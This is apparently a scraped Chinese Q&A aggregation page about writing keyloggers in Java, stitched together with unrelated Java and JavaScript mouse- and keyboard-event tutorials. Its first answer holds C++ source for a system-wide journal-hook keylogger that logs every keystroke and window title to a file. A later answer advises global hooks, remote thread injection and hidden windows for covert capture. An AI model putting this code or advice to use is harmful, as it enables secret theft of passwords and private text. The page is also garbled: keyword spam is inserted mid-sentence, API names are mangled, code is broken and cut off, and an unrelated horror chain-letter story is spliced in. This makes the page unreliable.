
正文
java键盘记录器代码 java键盘记录器代码是什么
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
请问 VBS 或 java 上有哪些代码可以记录键盘的所有动作.并可以记录在一个文档上呢?
这个不大清楚,不过用c语言可以很容易的实现
日志钩子代码如下,你慢慢品味吧:
//-----------.cpp文件
//---------------------------------------------------------------------------
#include vcl.h
#include stdio.h
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=Set视窗系统HookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
{
Unhook视窗系统HookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
int i;
HWND hFocus;//保存当前活动窗口句柄
char szTitle[256];//当前窗口名称
char szTime[128];//当前的日期和时间
FILE* stream=fopen("h:\\usr\\logfile.txt","a+");
if(pEvt-message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt-paramL);//取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str());
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShiftKeyPressMask)==KeyPressMask;
bool bCapital=(iCapital1)==1;
bool bNumLock=(iNumLock1)==1;
/*
if(vKey==9) //TAB
fprintf(stream,"%c",’\t’);
if(vKey==13) //回车键
fprintf(stream,"%c",’\n’);
*/
if(vKey=48 vKey=57) //数字键0-9
{
if(!bShift)
fprintf(stream,"%c",vKey);
else
{
switch(vKey)
{
case 49:
ch=’!’;
break;
case 50:
ch=’@’;
break;
case 51:
ch=’#’;
break;
case 52:
ch=’$’;
break;
case 53:
ch=’%’;
break;
case 54:
ch=’^’;
break;
case 55:
ch=’’;
break;
case 56:
ch=’*’;
break;
case 57:
ch=’(’;
break;
case 48:
ch=’)’;
break;
}
fprintf(stream,"%c",ch);
}
}
if(vKey=65 vKey=90) //A-Z a-z
{
if(!bCapital)
{
if(bShift)
ch=vKey;
else
ch=vKey+32;
}
else if(bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}
if(vKey=96 vKey=105) //小键盘0-9
{
if(bNumLock)
fprintf(stream,"%c",vKey-96+48);
}
if(vKey=186 vKey=222) //其他键
{
switch(vKey)
{
case 186:
if (!bShift) ch=’;’ ;
else ch=’:’ ;
break;
case 187:
if (!bShift) ch=’=’ ;
else ch=’+’ ;
break;
case 188:
if (!bShift) ch=’,’ ;
else ch=’’ ;
break;
case 189:
if (!bShift) ch=’-’ ;
else ch=’_’ ;
break;
case 190:
if (!bShift) ch=’.’ ;
else ch=’’ ;
break;
case 191:
if (!bShift) ch=’/’ ;
else ch=’?’ ;
break;
case 192:
if (!bShift) ch=’`’ ;
else ch=’~’ ;
break;
case 219:
if (!bShift) ch=’[’;
else ch=’{’ ;
break;
case 220:
if (!bShift) ch=’\\’ ;
else ch=’|’ ;
break;
case 221:
if (!bShift) ch=’]’;
else ch=’}’ ;
break;
case 222:
if (!bShift) ch=’\’’;
else ch=’\"’ ;
break;
default:
ch=’n’ ;
break;
}
if (ch!=’n’ ) fprintf(stream,"%c",ch);
} //
if (vKey=112 vKey=123) // 功能键 [F1]-[F12]
{
switch(wParam)
{
case 112:
fprintf(stream,"%s","[F1]");
break;
case 113:
fprintf(stream,"%s","[F2]");
break;
case 114:
fprintf(stream,"%s","[F3]");
break;
case 115:
fprintf(stream,"%s","[F4]");
break;
case 116:
fprintf(stream,"%s","[F5]");
break;
case 117:
fprintf(stream,"%s","[F6]");
break;
case 118:
fprintf(stream,"%s","[F7]");
break;
case 119:
fprintf(stream,"%s","[F8]");
break;
case 120:
fprintf(stream,"%s","[F9]");
break;
case 121:
fprintf(stream,"%s","[F10]");
break;
case 122:
fprintf(stream,"%s","[F11]");
break;
case 123:
fprintf(stream,"%s","[F12]");
break;
}
}
if (vKey=8 vKey=46) //方向键
{
switch (vKey)
{
case 8:
strcpy(str,"[BK]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[EN]");
break;
case 27:
strcpy(str,"[ESC]");
break;
case 32:
strcpy(str,"[SP]");
break;
case 33:
strcpy(str,"[PU]");
break;
case 34:
strcpy(str,"[PD]");
break;
case 35:
strcpy(str,"[END]");
break;
case 36:
strcpy(str,"[HOME]");
break;
case 37:
strcpy(str,"[LF]");
break;
case 38:
strcpy(str,"[UF]");
break;
case 39:
strcpy(str,"[RF]");
break;
case 40:
strcpy(str,"[DF]");
break;
case 45:
strcpy(str,"[INS]");
break;
case 46:
strcpy(str,"[DEL]");
break;
default:
ch=’n’;
break;
}
if (ch!=’n’ )
{
//if (g_PrvChar!=vKey)
//{
fprintf(stream,"%s",str);
// g_PrvChar=vKey;
/
相关问答
Q1: 用java做一个键盘记录器的疑问
这样java键盘记录器代码的功能是用JavaScript中的event属性的KeyCode方法完成java键盘记录器代码,利用onKeyDown事件进行驱动。
在JavaScript中java键盘记录器代码,可以通过keyCode属性来得到用户所按键的ASSCII码值。具体对应关系可以查ASSCII码表。
例子:
示例1:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if(a==65)
{
alert("java键盘记录器代码你按java键盘记录器代码了a键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
另外,在快捷键的使用中,Alt、Ctrl、shift等辅助键也是经常用到的,可以通过altKey、ctrlKey、shiftKey这三个属性来判断Alt、Ctrl、shift键的状态
比如event.ctrlKey的值为真,就说明用户按下了Ctrl键。
例子:
示例2:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
if(event.ctrlKey)
{
alert("你按了Ctrl键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
可以组合起来,形成真正的快捷键,将执行语句换为你要的效果就可以了。
示例3:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if((a==65)(event.ctrlKey))
{
alert("你按了ctrl+a键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
document.onkeydown = hotkey 语句是在全页面中,当用户按下键时,调用hotkey函数,也许你希望在页面局部实现快捷键功能,那么,你可以仿照下面这样做(记得删除"document.onkeydown = hotkey"语句):
示例4:
--------------------------------------------------------------------------------
textarea rows="7" cols="90" name="message" onKeyDown="javascript: hotkey();" tabindex="2"/textarea
这样,只有当光标焦点在文本框中才能使用快捷键
以上是获得按那个键的方法在用流的方式写到.txt中就行了。
Q2: 求一个记录鼠标键盘事件程序的源代码,并且有详细注释
故事是这样java键盘记录器代码的 以前在各大学校里都流传着这么一个恐怖故事 说是A校有不干净的东西 每当十五的时候 学校门口的鲁迅像的眼睛就会动 所有教学楼都会停电 楼梯会从原来的13阶变成14阶 实验室的水龙头放出来的水会变成红色 还有1楼尽头的那个厕所只要有人进去了就再也出不来了 于是 一群不信邪的孩子们约好15那天去探险 晚上12点 他们准时来到了那所学校的门口 鲁迅像的眼睛望着左边 他们记下了 生怕出来的时候记不得有没有动过 他们来到了教室 打开开关 咦 不是亮着的么? “骗人。”一个男孩发出抱怨 “再看看吧。” 来到了楼梯口 “1 2 3...13没错阿 是13阶阿?” 孩子们有点怀疑传说的真实性了 于是他们又来到了实验室 水龙头打开了 白花花的水流了出来 “真没劲阿 我们白来了!” 刚开始的刺激感都消去了一半。 最后 他们来到了那个厕所 女孩子虽然口上说不相信 可是还是不敢进去 于是让刚刚很拽地说不怕的小C进去 看了表 1点整 2分钟后 男生出来了 “切 都是骗人的” 孩子们不欢而散。 出门时 一个看门人发现了他们 喝斥他们怎么可以那么晚还在学校逗留。孩子们撒腿就跑 小B特地注意了一下门口的石像 没错 眼睛还是朝左看得 “骗人的”他嘀咕了一声 “喂 小B么?小C昨天晚上和你们一起出去玩 怎么还没回来?”第二天早上 小C的妈妈打电话过来询问。 小C也没有去学校上课 孩子们隐约感到不对了 于是 他们将晚上的探险之事告诉了老师和家长 大家在大人的陪同下回到了那个学校。 “什么? 我们的鲁迅像的眼睛一直是朝右看的阿。”校长听了孩子们的叙述 不可思议的说。 “可是我们昨天来的时候是朝左看的阿” 出门一看 果然 是朝右看得... “可是昨天的确有电阿” “昨天我们这里全区停电...你们怎么开得灯?” “还有楼梯!”孩子们迅速跑到楼梯口 “1 2 3...12?” “我们的楼梯一直是12阶的。” “不可能!!!” “还有实验室”一个孩子提醒道 “对 实验室” 一行人来到实验室 就在昨天他们开过的那个水龙头下 有一摊暗红色的痕迹。 “是血迹。” “那...小C昨天还去过那个厕所...”大家都感到了一阵莫名的恐惧 “走 我们去看看”校长也意识到了事情的严重性 ... 推开门... 小C的尸体赫然出现在大家的眼前 因为惊恐而睁大的双眼 被割断的喉管血淋淋的 内脏散落在已经干掉的水池里... “阿...”小C的妈妈当场昏了过去 几个老师马上冲出去呕吐... 小B也被吓得目瞪口呆 在他晕过去的前一秒钟 他瞥见小C的手表 指针停在了1点... 就是小C进去的那个时候... 顺便说一下 他们去探险的那天晚上 并没有门卫... 将此贴转向5个以上的论坛不会魔鬼缠身且能实现一个愿望 。 不回帖者晚上凌晨过后往往.....不好意思java键盘记录器代码,我也处于无奈
Q3: java中各种类型的键盘输入代码是什么
下面java键盘记录器代码的是键盘和鼠标的各种事件,看一下是不是java键盘记录器代码你要的!
鼠标监听器
鼠标监听器mouseListener监听鼠标事件MouseEvent。相应事件和处理方法如下表java键盘记录器代码:
鼠标事件 处理方法
MOUSE_CLICKED MouseClicked (MouseEvent) 鼠标点击(单或双)
MOUSE_PRESSED MousePressed (MouseEvent) 鼠标按下
MOUSE_RELEASED MouseReleased(MouseEvent) 鼠标松开
MOUSE_ENTERED MouseEntered (MouseEvent) 鼠标进入(某组件区域)
MOUSE_EXITED MouseExited (MouseEvent) 鼠标离开(某组件区域)
鼠标事件MouseEvent常用方法
int getClickCount() 得到点击次数1 OR 2;
int getX(), int getY() 得到鼠标的(象素)位置。
对于鼠标的移动和拖放,另外用鼠标运动监听器mouseMotionListener。因为许多程序不需要监听鼠标运动,把两者分开可简化程序。有两个方法处理鼠标运动事件java键盘记录器代码:
MOUSE_MOVED MouseMoved (MouseEvent) 鼠标在移动MOUSE_DRAGGED MouseDragged(MouseEvent) 鼠标被拖动
下面的例程演示简单的鼠标监听,并在屏幕上输出鼠标操作的信息。
例2
下面是讨论MouseMotionListener的使用时机,它提供的下面的两个方法,可让你随时掌握鼠标的坐标,并处理拖曳鼠标的操作。
MouseMotionListener mouseDragged(MouseEvent e)
mouseMoved(MouseEvent e)
-----------------------------------------------------------------------
下面的范例让你知道鼠标在JFrame上的坐标,并拖曳出直线来。
MouseDemo3.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
/*为java键盘记录器代码了达到画线的功能,我们分别implements MouseListener与MouseMotionListener.
*/
public class MouseDemo3 extends JFrame implements MouseListener,MouseMotionListener{
int flag;//flag=1代表Mouse Moved,flag=2代表Mouse Dragged
int x=0;
int y=0;
int startx,starty,endx,endy;//起始坐标与终点坐标
public MouseDemo3(){
Container contentPane=getContentPane();
contentPane.addMouseListener(this);
contentPane.addMouseMotionListener(this);
setSize(300,300);
show();
addWindowListener(
new WindowAdapter(){
public void windowClosing(WindowEvent e){
System.exit(0);
}
}
);
}
/*由mousePressed(),mouseReleased()取得示拖曳的开始与结束坐标*/
public void mousePressed(MouseEvent e){
startx=e.getX();
starty=e.getY();
}
public void mouseReleased(MouseEvent e){
endx=e.getX();
endy=e.getY();
}
public void mouseEntered(MouseEvent e){ }
public void mouseExited(MouseEvent e){ }
public void mouseClicked(MouseEvent e){ }
/*mouseMoved(),mouseDragged()取得鼠标移动的每一个坐标,并调用repaint()方法*/
public void mouseMoved(MouseEvent e){
flag=1;
x=e.getX();
y=e.getY();
repaint();
}
public void mouseDragged(MouseEvent e){
flag=2;
x=e.getX();
y=e.getY();
repaint();
}
public void update(Graphics g){
g.setColor(this.getBackground());
g.fillRect(0,0,getWidth(),getHeight());
paint(g);
}
public void paint(Graphics g){
g.setColor(Color.black);
if (flag==1){
g.drawString("鼠标坐标:("+x+","+y+";)",10,50);
g.drawLine(startx,starty,endx,endy);
}
if (flag==2){
g.drawString("拖曳鼠标价坐标:("+x+","+y+";)",10,50);
g.drawLine(startx,starty,x,y);
}
}
public static void main(String[] args){
new MouseDemo3();
}
}
例3
实现一个简单的鼠标控制程序MouseController。程序功能很简单:随机移动鼠标并点击左键。
代码如下:
import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.InputEvent;
import java.util.Random;
/**
*
*/
/**
* @Create date 2007-11-6
*/
public class MouseController implements Runnable {
private Dimension dim;
private Random rand;
private Robot robot;
private volatile boolean stop = false;
public MouseController() {
dim = Toolkit.getDefaultToolkit().getScreenSize();
rand = new Random();
try {
robot = new Robot();
} catch (AWTException ex) {
ex.printStackTrace();
}
}
public void run() {
while(!stop) {
int x = rand.nextInt(dim.width);
int y = rand.nextInt(dim.height);
robot.mouseMove(x, y);
robot.mousePress(InputEvent.BUTTON1_MASK);
try {
Thread.sleep(2000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
}
public synchronized void stop() {
stop = true;
}
public static void main(String[] args) {
MouseController mc = new MouseController();
Thre
$False$
ad mcThread = new Thread(mc);
System.out.println("Mouse Controller start");
mcThread.start();
try {
Thread.sleep(60000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
mc.stop();
System.out.println("Mouse Controller stoped");
}
}
例4 本例程演示鼠标监听器,鼠标点击和运动的监听。
///
// MouseEvt.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
class MyPanel extends JPanel implements MouseMotionListener{
public MyPanel() {
addMouseListener(new MouseAdapter() {
publicvoid mouseClicked(MouseEvent evt) {
if (evt.getClickCount() = 2)
System.out.println("\n双击鼠标");
int x = evt.getX(); int y = evt.getY();
System.out.println("点击鼠标的位置\nX:" + x + "\ty: " + y);
}
});
addMouseMotionListener(this);
}
publicvoid mouseMoved(MouseEvent evt){
System.out.println("\n鼠标正在移动");
}
publicvoid mouseDragged(MouseEvent evt){
System.out.println("\n鼠标正在拖动");
}
}
class MyFrame extends JFrame{
public MyFrame(){
setTitle("鼠标事件示例程序");
setSize(300, 200);
addWindowListener(new WindowAdapter(){
publicvoid windowClosing(WindowEvent e){
System.exit(0);
}
} );
Container contentPane = getContentPane();
contentPane.add(new MyPanel());
}
}
publicclass MouseEvt{
publicstaticvoid main(String[] args){
JFrame frame = new MyFrame();
frame.setVisible(true);
}
}
///
简要说明
在MyPanel的构建器中添加了鼠标适配器来监听鼠标点击数和位置。也添加了运动监听器来处理移动和拖放操作。
鼠标双击事件
鼠标的单双击事件在很多时候对我们帮助很大,但是在JAVA中却没有给出鼠标双击事件.我们可以通过事件源e.getClickCount()==2来判断鼠标点击次数来实现鼠标双击事件,例如: public class MyMouseListener
extends java.awt.event.MouseAdapter ...{
public void mouseClicked(MouseEvent e) ...{
System.out.println("clicked");
int clickTimes = e.getClickCount();
if (clickTimes == 2) ...{
System.out.println("Doublc Clicked!");
}
}
}
但是这样并没有达到我们的要求,因为在每次触发双击事件的同时会触发单击事件.所以我们试图改进以上方案,不使用系统提供的e.getClickCount()方法.可以考虑当第一次单击鼠标的时候让鼠标单击事件延时0.2秒执行,而在这段时间里等待第二次单击,如果有第二次单击,那么我们执行双击事件任务,取消单击任务;如果在这段时间没有等到再次单击,那么执行单击任务.
下面是用定时器延时单击事件实现鼠标双击事件,单击和双击事件互不影响!
public class MyMouseListener
extends java.awt.event.MouseAdapter ...{
private static boolean flag=false;//用来判断是否已经执行双击事件
private static int clickNum=0;//用来判断是否该执行双击事件
public void mouseClicked(MouseEvent e) ...{
final MouseEvent me=e;//事件源
this.flag=false;//每次点击鼠标初始化双击事件执行标志为false
if (this.clickNum == 1) ...{//当clickNum==1时执行双击事件
this.mouseDoubleClicked(me);//执行双击事件
this.clickNum=0;//初始化双击事件执行标志为0
this.flag=true;//双击事件已执行,事件标志为true
return;
}
//定义定时器
java.util.Timer timer=new java.util.Timer();
//定时器开始执行,延时0.2秒后确定是否执行单击事件
timer.schedule(new java.util.TimerTask() ...{
private int n=0;//记录定时器执行次数
public void run() ...{
if(MyMouseListener.flag)...{//如果双击事件已经执行,那么直接取消单击执行
n=0;
MyMouseListener.clickNum=0;
this.cancel();
return;
}
if (n == 1) ...{//定时器等待0.2秒后,双击事件仍未发生,执行单击事件
mouseSingleClicked(me);//执行单击事件
MyMouseListener.flag = true;
MyMouseListener.clickNum=0;
n=0;
this.cancel();
return;
}
clickNum++;
n++;
}
},new java.util.Date(),500);
}
/** *//**
* 鼠标单击事件
* @param e 事件源参数
*/
public void mouseSingleClicked(MouseEvent e)...{
System.out.println("Single Clicked!");
}
/** *//**
* 鼠标双击事件
* @param e 事件源参数
*/
public void mouseDoubleClicked(MouseEvent e)...{
System.out.println("Doublc Clicked!");
}
}
//Test.java
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class Test extends JFrame{
public Test(){
super("test");
init();
this.setSize(800,600);
this.setVisible(true);
}
private void init(){
JButton b=new JButton("button");
b.setBounds(50,50,100,30);
this.getContentPane().setLayout(null);
this.getContentPane().add(b);
b.addMouseListener(new MyMouseListener());
}
public static void main(String args[]){
new Test();
}
}
键盘监听器
键盘监听器KeyListener用来监听键盘事件。键盘事件有三种:KEY_PRESSED键按下了,KEY_RELEASED键松开了,KEY_TYPED键按过了。每个键都有一个键码,普通键的键码就是ASCII码。键码可通过int getKeyCode()方法获得。Java设置了一种“虚拟键码”(Virtual Key Code),用“VK_”作为前缀,例如VK_G。下面是某些特殊键的虚拟键码。
键码 含义 键码 含义
VK_LEFT/VK_RIGHT 左右方向键 VK_CONTROL Ctrl键
VK_KP_UP 小键盘向上 VK_ATL Alt键
VK_PAUSE 暂停键 VK_SHIFT Shift键
VK_NUMBER0 小键盘数字0 VK_F1 功能键F1
VK_0 数字键0 VK_B 字母键B
虚拟键码对应的是键位,不区分大小写。要想知道大小写还必须查看修饰键(modifier key)。这由输入事件InputEvent的getModifere()方法得到,把返回值与常量SHIFT_MASK, CONTROL_MASK, ALT_MASK比较,用以判定哪个修饰键处于“同时按下”状态。
监听器KeyListener有三个方法keyPressed(KeyEvent evt),keyReleased(KeyEvent evt),keyTyped(KeyEvent evt),分别用于相应事件发生后的处理。下面的例程中给自己的键盘监听器建立了showKeyEventMsg方法来显示按键信息。
除了getKeyCode()方法得到键码外,还可用getKeyChar()方法得到输入的字符,用getKeyText(code)方法得到输入的字符串。用isShiftDown()判断shift键是否被按下等。当按下Control键时getKeyText返回的是“ctrl",Alt和Shift也类似。
下面的例子演示得到键码和字符的方法,在命令行上显示结果。
例1 本例程演示键盘监听器后键码的用法。
///
// KeyEvt.java
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
class MyKeyListener implements KeyListener{
publicvoid keyPressed(KeyEvent evt) {
System.out.println("\n按键被按下");
showKeyEventMsg(evt);
}
publicvoid keyReleased(KeyEvent evt){ }
publicvoid keyTyped(KeyEvent evt) { }
privatevoid showKeyEventMsg(KeyEvent evt){//显示按键事件信息
//得到按键对应的整型数
int code = evt.getKeyCode();
//返回按键事件所代表的字符
char c = evt.getKeyChar();
//得到代表按键的字符串
String szText = evt.getKeyText(code);
if (code != KeyEvent.VK_UNDEFINED)
System.out.println("\n按键对应的整型数:"+code);
if (c != KeyEvent.CHAR_UNDEFINED)
System.out.println("\n与按键相联系的字符:"+c);
if (evt.isShiftDown())
System.out.println("\n按键Shift被按下");
System.out.println("\n按键本身的字符串:"+szText);
}
}
class ButtonPanel extends JPanel{
public ButtonPanel() {
//新建一个文本域组件
tf = new JTextField(20);
add(tf);
//指定用来处理该按钮事件的监听器对象为JPanel本身
myListener = new MyKeyListener();
tf.addKeyListener(myListener);
}
private JTextField tf;
private MyKeyListener myListener;
}
class ButtonFrame extends JFrame{
public ButtonFrame() {
setTitle("键盘事件示例程序");
setSize(300, 200);
setLocation(100,100);
addWindowListener(new WindowAdapter() {
publicvoid windowClosing(WindowEvent e)
{ System.exit(0);
}
});
Container ctPane = getContentPane();
ctPane.add(new ButtonPanel());
}
}
publicclass KeyEvt{
publicstaticvoid main(String[] args) {
JFrame frame = new ButtonFrame();
frame.setVisible(true);
}
}
///简要说明
程序建立了自己的键盘监听器MyKeyListener,定义了一个新方法showKeyEventMsg用来在标准输出设备上显示有关的键盘信息。
在面版ButtonPanel上建立文本框并加键盘监听器。把面版ButtonPanel放到窗口ButtonFrame中。
Q4: 用java写个键盘监听器,应该把监听器加到哪里?
**********补充一下啊××××××××
如果你是想真正实现键盘记录功能,那只能用消息钩子实现,具体怎么搞你搜索一下API HOOK,原理我在下面都说过了。早期的黑客软件都是这样实现的。你可以到安全焦点上看看。主要的技术有:远程线程注入、钩子、键盘消息。
另外,java的进程到底能不能注入很难说,所以我说应该用全局钩子,也就是说对所有的信息进行拦截,所以需要把函数写道DLL文件里实现内存的共享。
另外其实可以投机取巧的方法实现。比如就是空间隐藏,完全可以实现,但是要注意技巧,比如防止焦点丢失啊,因为这样键盘输入的东西就记不下来了~~~
怎么样~这样可以给分了吗?有问题再问啊~~
键盘记录器,估计java是不可能实现的。。。
涉及到windows编程。。
可以用c实现。。。原理是这样的。。
键盘被按下之后,会向窗口发送一个按键消息,这个消息传递给窗口,在窗口的消息循环中被处理,这个时候,如果用c语言写了一个钩子,加入窗口所在进程中,拦截传入的消息,从中读出按下的键是哪个就可以了。。。
java貌似不可能实现那个东西,如果有的话也肯定是钩子之类的~~~
反正进程钩子是有的,消息钩子不知道有没有。。
用c实现的步骤:
写个DLL文件,把钩子处理函数写在里面,然后导出这个函数。编译成DLL文件
然后注入进程。如果你是要在java的程序里记录,那是不可能设置为局部钩子的,只能是全局钩子!!!
java调用c是这样的:
使用jni技术:
首先java中写一个本地方法
1、然后编译这个类,然后用javah编译它,会产生一个头文件
2、在vc中包含这个头文件,重写里面的方法(这个方法和你在java中写的本地方法是对应的),同样生成一个DLL
3、java中,用System.loadLibrary加载这个dll文件,调用你写的那个方法就可以了~~~
4、键盘记录好像不能直接被java读取,可以先记录到一个文件中,java里面直接读文件了,这样还能避免用jni
你搜索一下呗~~关键字:
api hook、jni、java 钩子
Q5: java键盘监听
注册监听器你应该知道噻...
注意了...注册监听这里不像ActionListener那样用按钮注册
这里可以注册的对象很多
你可以用一个按钮 但最好用窗口
要让键盘有反应 一定要在注册监听器后 用注册的那个对象去获得焦点
每个对象好象都有方法去主动获得焦点的...
关于java键盘记录器代码和java键盘记录器代码是什么的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。







